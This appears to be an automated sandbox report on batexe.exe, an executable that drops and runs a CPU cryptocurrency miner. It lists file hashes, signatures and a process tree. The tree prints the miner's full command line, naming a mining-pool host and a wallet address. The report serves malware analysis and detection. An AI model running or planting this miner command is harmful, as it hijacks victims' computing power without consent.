Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
293s -
max time network
301s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-ja -
resource tags
arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
22/02/2024, 11:56
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240221-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20240221-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 2320 b2e.exe 2180 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 2180 cpuminer-sse2.exe 2180 cpuminer-sse2.exe 2180 cpuminer-sse2.exe 2180 cpuminer-sse2.exe 2180 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/1108-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1108 wrote to memory of 2320 1108 batexe.exe 89 PID 1108 wrote to memory of 2320 1108 batexe.exe 89 PID 1108 wrote to memory of 2320 1108 batexe.exe 89 PID 2320 wrote to memory of 1148 2320 b2e.exe 90 PID 2320 wrote to memory of 1148 2320 b2e.exe 90 PID 2320 wrote to memory of 1148 2320 b2e.exe 90 PID 1148 wrote to memory of 2180 1148 cmd.exe 93 PID 1148 wrote to memory of 2180 1148 cmd.exe 93
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8B67.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2180
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4.3MB
MD5225ad63ae4285536842ee1ca4b56e051
SHA173d1fcf4006c841ffcfa1269566d8543a5aaf7d2
SHA25623c4e0cec42cfccabe7c01b688e5d50a0d271897860bb8b395ca6e8e6e6fbc13
SHA5122dbceb2eab4bb328a2f5569013574eb7bb07f0c3539cab08a00e383124a4d08bf414739cc50380b10c8a1079cabc410323d4b1fbe99e61361d3a52372c46d88b
-
Filesize
1.2MB
MD569a31df625e00373b29f5200c14a6045
SHA1d90311d2b5a0918bcb336a7316e469171f9e0c1c
SHA256ff4c528e87fb9ce04f4fd2995ed46e2e6c7c6c6638b812f93f4cf72b211b4651
SHA512d6babc54198de36e12f62df60413569869568bebcd595a675d785423d9540351694b6a78491781cea86e972973b3619000e0a4c405e8bd38c5e7ce52f5f0a346
-
Filesize
1.1MB
MD5a714eaca0bfdd23df35baa70c9ba147d
SHA1bb76048964b8d4f61a8b368d6dd7afd4bd998205
SHA256d763b26b8230daa66a16390f51f2baf81e5b85dba1a034f981e5fbc2d8302208
SHA512143e6c28ecac9839e0ed3b716fabf63fbbb9a0683e340bcb7b90b39d57026d42c59ea1a9b6750e35b93e8713545602c31be2b5eeca08c793c954fe4c4eefaa31
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
889KB
MD58b6454bfed24a20f79feeac6dd3aa1ae
SHA103bc0e0197e8ca1a7d534f00ff2b8a886a7d3c63
SHA256e248b7a8ac00d167e984892adf00bceb166efda19371b9db35010fc92691a59c
SHA512cf7cb25503166043e1c8099f40e4035addfe84c71871797dafa4e4acfbf650106a1a2a55744849503a2e422d6e0cc4949bba14e6e22f567dd1e3e4e186035a18
-
Filesize
1.0MB
MD52686941e1729821982d26801f99a7526
SHA13b8f1900f35da9904fbbf5a62771f0da28a67946
SHA256313b8f237728226934f76d66eb2b8e6b0353cb86db31a02e57d72aab58ca5edb
SHA5125bfcde787ae0f6e12725d22aac92fe8d979615a922c9f7266340bba5e242f34f405acbb3d9c004bc229748fb875c030fc7607f821520e7ef5be52c3198206aae
-
Filesize
747KB
MD5c25ec6a1d88ff289c6d6cdb52373f64c
SHA1f83cd1d341914eaa04c336a88d0d7cfa13d06c77
SHA2563aafdb642126ea4f091ec590cb8ff2876c2cb45416c081f8e8d535fbd1dd1ae3
SHA51259ae01c74c629f74298fc4576bd07420eca8e1cc4c5578b994129e0cb5f90880d7f22a8a99b37c9035b768fa61101bad7e40de522dd412412e387f25f6bb3345
-
Filesize
791KB
MD5537ab00fa009dc0285e78fd20ec00ade
SHA15ad14060a2a7d2b54de2c9fafdb39b8ca0e958df
SHA256656e49c551680592421549557edf16a9ccb1ee55b91de97fbba400cb3aa7ac2e
SHA5127558ee395933ad4ba8e20c359c4a0d77398a38e3cb82e1168952ef26c8a9dac72724a5ae48d6a31822ffa9ddd8fddf9404782f9dacffc5afab8ecb7086fca46b
-
Filesize
822KB
MD506ae8daffaf651b2baaeb8b32744c25d
SHA1b1fc4ff96821c93be9890c3d7b5cc40c30fa179a
SHA25682a998100f9f4e75aaab1882851a9a9f5f315ef2e69ea4ce72336d8ae5b27d2a
SHA512aaf6b077816571a3098f98e6b32c5ef80ed76c090be29663e412d06fec9339a9a29b299a04e8abb5a1d19d8827175e5fb7b2afb5c09cc6df6978df67f7c11a5f
-
Filesize
1.0MB
MD548e38941d601c5f3006d7a943db05411
SHA18daabe8b14e672327969e2efd34264810e4ce538
SHA2567a9148dc27edaa1a481374ae7846a2ba43a369f87f56f731a00bdc1cfd64c92c
SHA5120e9ae1503ff20a8267a3833040bfb3b13a451a50d7ed4ea656dd6a4a8cd3c4934d30cc4cc222615a35c7efda052ada528136b7e74c09d7cfd50d58383da2500c
-
Filesize
755KB
MD5191ad9831c7b424aefd63499766ae44b
SHA1c27890f160438bc4673a5c5754451a2f32784e39
SHA256e1c18503ee26785772acca17b2488914b662e1b343466ef2e2c4c56e161f12a1
SHA512e3e8f37e868c4e28004148d755099025ff6d86f302a1ef964807f0a7bdffbc200d2c2842e2f780b3e8d9545807ad4d1c79181fe5d20bae7a1b62c7975e5fc097
-
Filesize
891KB
MD54250c553d142263302366c3b6e6c758e
SHA15f0458e60bf09dd153d46640a2cc8d7c2f4a1845
SHA256880d55887b0720c4596b4379c1e20398e79e17a46d044f7305bc0676abab1236
SHA5124a7a15dc352c3ac898160269b452d9c9b1c7ed43ddc664675bc3532fff9d34b2b9a40b4599d03f8deb057b801970be52545d982c896cef83388d88a064908142
-
Filesize
634KB
MD5ddda0135431abc75dc2fa8fa8990a140
SHA105508a6bfb5dc461e0cb5e3ddd8071f5465f3bf3
SHA256044f94ab98ee03ffc0fefc1252d795e9aa45d48ba2cb259b83b2aa24dfe717b7
SHA5124dfc26d468a5639c5742431839faf0494a8425b8ea3b49e950d5a0af70c922c44fb52d230ed7176f8177ad52d69a1957011e550e59db19776a9f997a7e361c5e
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770